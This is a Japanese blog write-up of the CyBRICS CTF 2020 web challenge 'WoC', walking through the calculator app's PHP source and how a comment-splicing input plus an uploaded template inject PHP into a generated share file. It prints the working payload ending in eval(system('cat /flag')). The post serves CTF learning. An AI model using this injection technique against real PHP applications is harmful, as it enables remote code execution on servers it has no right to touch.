はまやんはまやんはまやん

hamayanhamayan's blog

WoC [CyBRICS CTF 2020]

CTFtime.org / CyBRICS CTF 2020

WoC (Web, Medium, 402 pts)
Author: Vlad Roskov (@mrvos)
http://109.233.57.94:40389/calcs/85d45135a1c6f4c3/cc4b5923-6498-44ff-391a-03a16f35d485.php
Heheh heh hehh... 🤓
Source code: woc.tar.gz

ファイルが多すぎる

こういう場合ってどこから手を付けたらいいんでしょうね?

解説を見る

唯一あったけど、google翻訳で読んだら分かった。

sourceとsink

こういう時はsourceとsinkを探せってじっちゃんが言ってた。
flag.txtがあるので、XSSとかではなく、LFIかRCEあたりでflag.txtを抜き出してくるのだろう。
抜き出すには、悪意あるコードをsourceから入れて、結果をsinkから抜き出すしかない。

source

  • 電卓の計算を行う部分
  • テンプレートを渡す部分
  • 共有リンクを要求する部分

こういうのをちゃんと見ていかんといかんということよね。
実はテンプレートを渡す部分が正解ルート。

newtemplate.php

if (trim(@$_POST['html'])) {
    do {
        $html = trim($_POST['html']);
        if (strpos($html, '<?') !== false) {
            $error = "Bad chars";
            break;
        }
        
        $requiredBlocks = [
            'id="back"',
            'id="field" name="field"',
            'id="digit0"',
            'id="digit1"',
            'id="digit2"',
            'id="digit3"',
            'id="digit4"',
            'id="digit5"',
            'id="digit6"',
            'id="digit7"',
            'id="digit8"',
            'id="digit9"',
            'id="plus"',
            'id="equals"',
        ];
        
        foreach ($requiredBlocks as $block) {
            if (strpos($html, $block) === false) {
                $error = "Missing required block: '$block'";
                break(2);
            }
        }
        
        $uuid = uuid();
        if (!file_put_contents("calcs/$userid/templates/$uuid.html", $html)) {
            $error = "Unexpected error! Contact orgs to fix. cybrics.net/rules#contacts";
            break;
        }
        
        redir(".");
    } while (false);
}

'<?'が含まれているとダメみたい。
phpで動いているので、phpコードを差し込みたい所だけど、URLもhtmlだしダメかーとなるが、ここで入れたphpコードを実行する道筋がある。

sink

分かりやすいsinkとしては、以下。

  • 電卓の計算結果
  • 入力したテンプレート出力

下が答え。

if (trim(@$_POST['field'])) {
    $field = trim($_POST['field']);
    
    if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
        $value = "BAD";
    } else {
        if (@$_POST['share']) {
            $calc = uuid();
            file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
            redir("?p=sharelink&calc=$calc");
        } else {
            try {
                $value = eval("return $field;");
            } catch (Throwable $e) {
                $value = null;
            }
            
            if (!is_numeric($value) && !is_string($value)) {
                $value = "ERROR";
            } else {
                $value = (string)$value;
            }
        }
    }
    
    echo "<script>var preloadValue = " . json_encode($value) . ";</script>";
}

確かに言われてみれば…
phpファイルを動的生成している。
このファイルに任意のPHPコードを入れ込めれば、実行可能だ。

payload

テンプレートとして、以下のようなファイルを送る。

<html>
…正常なテンプレート…
<html>*/;eval(system('cat /flag'))?>

で、$fieldに/*((*/1))/*を入れて、そのテンプレートを指定してshareする。
すると"<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html")の部分で、

<script>var preloadValue = <?=json_encode((string)(/*((*/1))/*))?>;</script>\n[calclib.htmlの中身]<html>
…正常なテンプレート…
<html>*/;eval(system('cat /flag'))?>

これをよーく見るとコメントでうまいこと消えて

<script>var preloadValue = <?=json_encode((string)(1));eval(system('cat /flag'))?>

となって見事PHPコード実行される形になっている。
あとは、このアップロード先を参照すればflagがcatされて出てくる。